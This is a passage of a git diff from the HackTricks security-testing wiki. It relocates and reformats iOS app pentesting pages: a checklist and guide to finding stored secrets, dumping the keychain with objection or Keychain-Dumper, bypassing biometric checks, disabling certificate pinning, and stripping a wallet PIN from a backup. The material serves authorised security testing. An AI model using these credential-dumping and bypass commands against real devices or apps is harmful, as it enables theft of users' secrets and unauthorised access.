then **restore** the backup on the phone, and the as the **modified configuration** is **loaded** some (security) **functionality** may be **bypassed** -## **Applications Memory** +### **Applications Memory** * [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data) -## **Broken Cryptography** +### **Broken Cryptography** * [ ] Check if yo can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography) * [ ] Check for the use of [**deprecated/weak algorithms**](ios-pentesting/#broken-cryptography) to send/store sensitive data * [ ] [**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography) -## **Local Authentication** +### **Local Authentication** * [ ] If a [**local authentication**](ios-pentesting/#local-authentication) is used in the application, you should check how the authentication is working. * [ ] If it's using the [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) it could be easily bypassed * [ ] If it's using a [**function that can dynamically bypassed**](ios-pentesting/#local-authentication-using-keychain) you could create a custom frida script -## Sensitive Functionality Exposure Through IPC +### Sensitive Functionality Exposure Through IPC * [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Check if the application is **registering any protocol/scheme** @@ -92,7 +76,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme * [**Universal Links**](ios-pentesting/#universal-links) * [ ] Check if the application is **registering any universal protocol/scheme** - * [ ] Check the `apple-app-site-association` file + * [ ] Check the `apple-app-site-association` file * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme * [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md) @@ -109,18 +93,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check if the webview can **access local files** with the protocol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) * [ ] Check if Javascript can access **Native** **methods** (`JSContext`, `postMessage`) -## Network Communication +### Network Communication * [ ] Perform a [**MitM to the communication**](ios-pentesting/#network-communication) and search for web vulnerabilities. * [ ] Check if the [**hostname of the certificate**](ios-pentesting/#hostname-check) is checked * [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning) -## **Misc** +### **Misc** * [ ] Check for [**automatic patching/updating**](ios-pentesting/#hot-patching-enforced-updateing) mechanisms * [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties) -
Support HackTricks and get benefits! @@ -136,5 +119,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/mobile-apps-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md similarity index 97% rename from mobile-apps-pentesting/ios-pentesting/README.md rename to mobile-pentesting/ios-pentesting/README.md index 744ad8e1..c88201a9 100644 --- a/mobile-apps-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -1,5 +1,7 @@ # iOS Pentesting +## iOS Pentesting +
Support HackTricks and get benefits! @@ -16,14 +18,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# iOS Basics +## iOS Basics {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} -# Testing Environment +## Testing Environment In this page you can find information about the **iOS simulator**, **emulators** and **jailbreaking:** @@ -31,9 +32,9 @@ In this page you can find information about the **iOS simulator**, **emulators** [ios-testing-environment.md](ios-testing-environment.md) {% endcontent-ref %} -# Initial Analysis +## Initial Analysis -## Basic iOS Testing Operations +### Basic iOS Testing Operations During the testing **several operations are going to be suggested** (connect to the device, read/write/upload/download files, use some tools...). Therefore, if you don't know how to perform any of these actions please, **start reading the page**: @@ -46,7 +47,7 @@ For the following steps **the app should be installed** in the device and should Read the [Basic iOS Testing Operations](basic-ios-testing-operations.md) page to learn how to do this. {% endhint %} -## Basic Static Analysis +### Basic Static Analysis It's recommended to use the tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) to perform an automatic Static Analysis to the IPA file. @@ -138,11 +139,11 @@ Identification of **protections are present in the binary**: grep -iER "_vsprintf" ``` -## Basic Dynamic Analysis +### Basic Dynamic Analysis Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) perform. You will need to navigate through the different views and interact with them but it will be hooking several classes on doing other things and will prepare a report once you are done. -## Listing Installed Apps +### Listing Installed Apps When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps (`-a`) currently installed (`-i`) on the connected USB device (`-U`): @@ -159,7 +160,7 @@ $ frida-ps -Uai - iGoat-Swift OWASP.iGoat-Swift ``` -## Basic Enumeration & Hooking +### Basic Enumeration & Hooking Learn how to **enumerate the components of the application** and how to easily **hook methods and classes** with objection: @@ -167,7 +168,7 @@ Learn how to **enumerate the components of the application** and how to easily * [ios-hooking-with-objection.md](ios-hooking-with-objection.md) {% endcontent-ref %} -## IPA Structure +### IPA Structure `.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**.\ After decompressing them you should see `.app` , a zipped archive that contains the rest of the resources. @@ -289,7 +290,7 @@ Regular 420 None ... Sentinel.txt Regular 420 None ... README.txt ``` -## Binary Reversing +### Binary Reversing Inside the `.app` folder you will find a binary file called ``. This is the file that will be **executed**. You can perform a basic inspection of the binary with the tool **`otool`**: @@ -379,7 +380,7 @@ struct CGSize { However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/). -# Data Storage +## Data Storage To learn about how iOS stores data in the device read this page: @@ -392,7 +393,7 @@ The following places to store information should be checked **right after instal The goal is to find **unprotected sensitive information** of the application (passwords, tokens), of the current user and of previously logged users. {% endhint %} -## Plist +### Plist **plist** files are structured XML files that **contains key-value pairs**. It's a way to store persistent data, so sometimes you may find **sensitive information in these files**. It's recommended to check these files after installing the app and after using intensively it to see if new data is written. @@ -429,7 +430,7 @@ The file might be formatted in **XML or binary (bplist)**. You can **convert it ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist ``` -## Core Data +### Core Data [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) is a framework for managing the model layer of objects in your application. [Core Data can use SQLite as its persistent store](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), but the framework itself is not a database.\ CoreData does not encrypt it's data by default. However, an additional encryption layer can be added to CoreData. See the [GitHub Repo](https://github.com/project-imas/encrypted-core-data) for more details. @@ -464,12 +465,12 @@ You can find the SQLite Core Data information of an application in the path `/pr ``` {% endcode %} -## YapDatabase +### YapDatabase [YapDatabase](https://github.com/yapstudios/YapDatabase) is a key/value store built on top of SQLite.\ As the Yap databases are sqlite databases you can find them using the purposed commend in the previous section. -## Other SQLite Databases +### Other SQLite Databases It's common for applications to create their own sqlite database. They may be **storing** **sensitive** **data** on them and leaving it unencrypted. Therefore, it's always interesting to check every database inside the applications directory. Therefore go to the application directory where the data is saved (`/private/var/mobile/Containers/Data/Application/{APPID}`) @@ -477,17 +478,17 @@ It's common for applications to create their own sqlite database. They may be ** find ./ -name "*.sqlite" -or -name "*.db" ``` -## Firebase Real-Time Databases +### Firebase Real-Time Databases It can be leveraged by application developers to s**tore and sync data with a NoSQL cloud-hosted database**. The data is stored as JSON and is synchronized in real-time to every connected client and also remains available even when the application goes offline. You can find how to check for misconfigured Firebase databases here: -{% content-ref url="../../pentesting/pentesting-web/buckets/firebase-database.md" %} -[firebase-database.md](../../pentesting/pentesting-web/buckets/firebase-database.md) +{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} +[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) {% endcontent-ref %} -## Realm databases +### Realm databases [Realm Objective-C](https://realm.io/docs/objc/latest/) and [Realm Swift](https://realm.io/docs/swift/latest/) aren't supplied by Apple, but they are still worth noting. They **store everything unencrypted, unless the configuration has encryption enabled**. @@ -516,13 +517,13 @@ do { } ``` -## Couchbase Lite Databases +### Couchbase Lite Databases [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS. Check for possible couchbase databases in `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/` -## Cookies +### Cookies iOS store the cookies of the apps in the **`Library/Cookies/cookies.binarycookies`** inside each apps folder. However, developers sometimes decide to save them in the **keychain** as the mentioned **cookie file can be accessed in backups**. @@ -545,7 +546,7 @@ To inspect the cookies file you can use [**this python script**](https://github. ] ``` -## Cache +### Cache By default NSURLSession stores data, such as **HTTP requests and responses in the Cache.db** database. This database can contain **sensitive data**, if tokens, usernames or any other sensitive information has been cached. To find the cached information open the data directory of the app (`/var/mobile/Containers/Data/Application/`) and go to `/Library/Caches/`. The **WebKit cache is also being stored in the Cache.db** file. **Objection** can open and interact with the database with the command `sqlite connect Cache.db`, as it is a n**ormal SQLite database**. @@ -563,7 +564,7 @@ It is **recommended to disable Caching this data**, as it may contain sensitive `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` 3. Cache can be also disabled by setting the Cache Policy to [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). It will disable storing Cache in any fashion, either in memory or on disk. -## Snapshots +### Snapshots Whenever you press the home button, iOS **takes a snapshot of the current screen** to be able to do the transition to the application on a much smoother way. However, if **sensitive** **data** is present in the current screen, it will be **saved** in the **image** (which **persists** **across** **reboots**). These are the snapshots that you can also access double tapping the home screen to switch between apps. @@ -609,7 +610,7 @@ Objective-C: This sets the background image to `overlayImage.png` whenever the application is backgrounded. It prevents sensitive data leaks because `overlayImage.png` will always override the current view. -## Keychain +### Keychain Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain (the dive must be jailbroken).\ You can also use `ios keychain dump` from [**Objection**](https://github.com/sensepost/objection)**.** @@ -628,7 +629,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers You can use **Objection's** `ios nsurlcredentialstorage dump` to dump these secrets. -# Custom Keyboards/Keyboard Cache +## Custom Keyboards/Keyboard Cache From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards.\ The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards**\ @@ -674,7 +675,7 @@ UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` -# **Logs** +## **Logs** The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**.\ In iOS version 6 and below, logs were world readable (a malicious app could read logs from other apps and extract sensitive information from there). **Nowadays, apps can only access their own logs**. @@ -714,7 +715,7 @@ You can collect console logs through the Xcode **Devices** window as follows: 5. Reproduce the problem. 6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window. -![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (11).png>) +![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command: @@ -733,7 +734,7 @@ Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch ... ``` -# Backups +## Backups iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes (till macOS Catalina) or Finder (from macOS Catalina onwards), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings. @@ -780,7 +781,7 @@ In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither This is PIN is stored in the file `net.bither.plist` inside the **pin\_code** **key**.\ If you clear this key from that plist in the backup and restores the backup, you will be able to access the wallet. -# Testing Memory for Sensitive Data +## Testing Memory for Sensitive Data At some point sensitive information is going to be stored in memory. The objective is to make sure that this info is exposed as briefly as possible. @@ -826,17 +827,17 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//`. -# Broken Cryptography +## Broken Cryptography -## Poor Key Management Processes +### Poor Key Management Processes Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. -## Use of Insecure and/or Deprecated Algorithms +### Use of Insecure and/or Deprecated Algorithms Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. -## Check +### Check The main checks to perform if to find if you can find **hardcoded** passwords/secrets in the code, or if those are **predictable**, and if the code is using some king of **weak** **cryptography** algorithms. @@ -848,7 +849,7 @@ ios monitor crypt For **more information** about iOS cryptographic APIs and libraries access [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) -# Local Authentication +## Local Authentication The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. @@ -865,7 +866,7 @@ Developers have two options for incorporating Touch ID/Face ID authentication: Please be aware that using either the `LocalAuthentication.framework` or the `Security.framework`, will be a control that can be bypassed by an attacker as it does only return a boolean and no data to proceed with. See [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) for more details. {% endhint %} -## Local Authentication Framework +### Local Authentication Framework Developers can display an **authentication prompt** by utilizing the function `evaluatePolicy` of the `LAContext` class. Two available policies define acceptable forms of authentication: @@ -874,7 +875,7 @@ Developers can display an **authentication prompt** by utilizing the function `e The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed (see below) -## Local Authentication using Keychain +### Local Authentication using Keychain The **iOS keychain APIs can (and should) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data. @@ -1003,7 +1004,7 @@ if (status == noErr){ {% endtab %} {% endtabs %} -## Detection +### Detection Usage of frameworks in an app can also be detected by analyzing the app binary's list of shared dynamic libraries. This can be done by using `otool`: @@ -1020,7 +1021,7 @@ If `LocalAuthentication.framework` is used in an app, the output will contain bo If `Security.framework` is used, only the second one will be shown. -## Local Authentication Framework Bypass +### Local Authentication Framework Bypass [Objection Biometrics Bypass](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations. @@ -1035,51 +1036,51 @@ If `Security.framework` is used, only the second one will be shown. If vulnerable, the module will automatically bypass the login form. -# Sensitive Functionality Exposure Through IPC +## Sensitive Functionality Exposure Through IPC -## Custom URI Handlers / Deeplinks / Custom Schemes +### Custom URI Handlers / Deeplinks / Custom Schemes {% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} [ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md) {% endcontent-ref %} -## Universal Links +### Universal Links {% content-ref url="ios-universal-links.md" %} [ios-universal-links.md](ios-universal-links.md) {% endcontent-ref %} -## UIActivity Sharing +### UIActivity Sharing {% content-ref url="ios-uiactivity-sharing.md" %} [ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) {% endcontent-ref %} -## UIPasteboard +### UIPasteboard {% content-ref url="ios-uipasteboard.md" %} [ios-uipasteboard.md](ios-uipasteboard.md) {% endcontent-ref %} -## App Extensions +### App Extensions {% content-ref url="ios-app-extensions.md" %} [ios-app-extensions.md](ios-app-extensions.md) {% endcontent-ref %} -## WebViews +### WebViews {% content-ref url="ios-webviews.md" %} [ios-webviews.md](ios-webviews.md) {% endcontent-ref %} -## Serialisation and Encoding +### Serialisation and Encoding {% content-ref url="ios-serialisation-and-encoding.md" %} [ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) {% endcontent-ref %} -# Network Communication +## Network Communication It's important to check that no communication is occurring **without encryption** and also that the application is correctly **validating the TLS certificate** of the server.\ To check these kind of issues you can use a proxy like **Burp**: @@ -1088,19 +1089,19 @@ To check these kind of issues you can use a proxy like **Burp**: [burp-configuration-for-ios.md](burp-configuration-for-ios.md) {% endcontent-ref %} -## Hostname check +### Hostname check One common issue validating the TLS certificate is to check that the certificate was signed by a **trusted** **CA**, but **not check** if **the hostname** of the certificate is the hostname being accessed.\ In order to check this issue using Burp, after trusting Burp CA in the iPhone, you can **create a new certificate with Burp for a different hostname** and use it. If the application still works, then, something it's vulnerable. -## Certificate Pinning +### Certificate Pinning If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.**\ In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) or install \[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\* You can also use **objection's** `ios sslpinning disable` -# Misc +## Misc * In **`/System/Library`** you can find the frameworks installed in the phone used by system applications * The applications installed by the user from the App Store are located inside **`/User/Applications`** @@ -1111,13 +1112,13 @@ You can also use **objection's** `ios sslpinning disable` * **`iTunesMetadata.plist`**: Info of the app used in the App Store * **`/Library/*`**: Contains the preferences and cache. In **`/Library/Cache/Snapshots/*`** you can find the snapshot performed to the application before sending it to the background. -## Hot Patching/Enforced Updateing +### Hot Patching/Enforced Updateing The developers can remotely **patch all installations of their app instantly** without having to resubmit the application to the App store and wait until it's approved.\ For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPatch)**.** But there are other options also such as [Siren](https://github.com/ArtSabintsev/Siren) and [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ **This is a dangerous mechanism that could be abused by malicious third party SDKs therefore it's recommended to check which method is used to automatic updating (if any) and test it.** You could try to download a previous version of the app for this purpose. -## Third Parties +### Third Parties One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features (including diagnostic leaks and insecure HTTP connections), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK.\ Moreover some SDKs start **containing malware once they are very trusted** by the community. @@ -1135,12 +1136,12 @@ All data that's sent to third-party services should be anonymized to prevent exp You can find the **libraries used by an application** by running **`otool`** against the app (and **running** it **against** **each** shared **library** to find more shared libraries used). -# **References** +## **References** * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) -# More Information +## More Information * [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) diff --git a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md b/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md rename to mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md diff --git a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md rename to mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md diff --git a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md rename to mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md diff --git a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md rename to mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md b/mobile-pentesting/ios-pentesting/ios-app-extensions.md similarity index 98% rename from mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md rename to mobile-pentesting/ios-pentesting/ios-app-extensions.md index a1dabc72..050e4034 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md +++ b/mobile-pentesting/ios-pentesting/ios-app-extensions.md @@ -1,4 +1,4 @@ - +# iOS App Extensions
@@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are: @@ -29,7 +28,7 @@ For example, the user selects text in the _host app_, clicks on the "Share" butt ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media) -## **Security Considerations** +### **Security Considerations** From the security point of view it is important to note that: @@ -43,9 +42,9 @@ From the security point of view it is important to note that: * **No long-running background tasks** are allowed but uploads or downloads can be initiated. * App extensions **cannot access the camera or microphone on an iOS device** (except for iMessage app extensions). -## Static analysis +### Static analysis -### **Verifying if the App Contains App Extensions** +#### **Verifying if the App Contains App Extensions** If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode (cmd+shift+f) or take a look into "Build Phases / Embed App extensions": @@ -84,7 +83,7 @@ Directory 493 None True False SiriIntents.appex We can see now the same four app extensions that we saw in Xcode before. -### **Determining the Supported Data Types** +#### **Determining the Supported Data Types** This is important for data being shared with host apps (e.g. via Share or Action Extensions). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`. @@ -111,7 +110,7 @@ Only the data types present here and not having `0` as `MaxCount` will be suppor Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11): -![](broken-reference) +![](../../mobile-apps-pentesting/ios-pentesting/broken-reference) As also mentioned in the guide, the app must set up a shared container if the app extension uses the `NSURLSession` class to perform a background upload or download, so that both the extension and its containing app can access the transferred data. @@ -123,7 +122,7 @@ It is possible to reject a specific type of app extension by using the following However, it is currently only possible for "custom keyboard" app extensions (and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps). -## Dynamic Analysis +### Dynamic Analysis For the dynamic analysis we can do the following to gain knowledge without having the source code: @@ -190,8 +189,7 @@ As you can see there are two app extensions involved: If you want to learn more about what's happening under-the-hood in terms of XPC, we recommend to take a look at the internal calls from "libxpc.dylib". For example you can use [`frida-trace`](https://www.frida.re/docs/frida-trace/) and then dig deeper into the methods that you find more interesting by extending the automatically generated stubs. -## - +###
@@ -208,5 +206,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/mobile-apps-pentesting/ios-pentesting/ios-basics.md b/mobile-pentesting/ios-pentesting/ios-basics.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-basics.md rename to mobile-pentesting/ios-pentesting/ios-basics.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md rename to mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md b/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md rename to mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md rename to mobile-pentesting/ios-pentesting/ios-protocol-handlers.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md rename to mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-pentesting/ios-pentesting/ios-testing-environment.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md rename to mobile-pentesting/ios-pentesting/ios-testing-environment.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md rename to mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md b/mobile-pentesting/ios-pentesting/ios-uipasteboard.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md rename to mobile-pentesting/ios-pentesting/ios-uipasteboard.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md b/mobile-pentesting/ios-pentesting/ios-universal-links.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-universal-links.md rename to mobile-pentesting/ios-pentesting/ios-universal-links.md diff --git a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md b/mobile-pentesting/ios-pentesting/ios-webviews.md similarity index 100% rename from mobile-apps-pentesting/ios-pentesting/ios-webviews.md rename to mobile-pentesting/ios-pentesting/ios-webviews.md diff --git a/pentesting/10000-network-data-management-protocol-ndmp.md b/network-services-pentesting/10000-network-data-management-protocol-ndmp.md similarity index 100% rename from pentesting/10000-network-data-management-protocol-ndmp.md rename to network-services-pentesting/10000-network-data-management-protocol-ndmp.md diff --git a/pentesting/1026-pentesting-rusersd.md b/network-services-pentesting/1026-pentesting-rusersd.md similarity index 100% rename from pentesting/1026-pentesting-rusersd.md rename to network-services-pentesting/1026-pentesting-rusersd.md diff --git a/pentesting/1080-pentesting-socks.md b/network-services-pentesting/1080-pentesting-socks.md similarity index 89% rename from pentesting/1080-pentesting-socks.md rename to network-services-pentesting/1080-pentesting-socks.md index bf972c04..df33290f 100644 --- a/pentesting/1080-pentesting-socks.md +++ b/network-services-pentesting/1080-pentesting-socks.md @@ -1,4 +1,4 @@ - +# 1080 - Pentesting Socks
@@ -16,42 +16,41 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
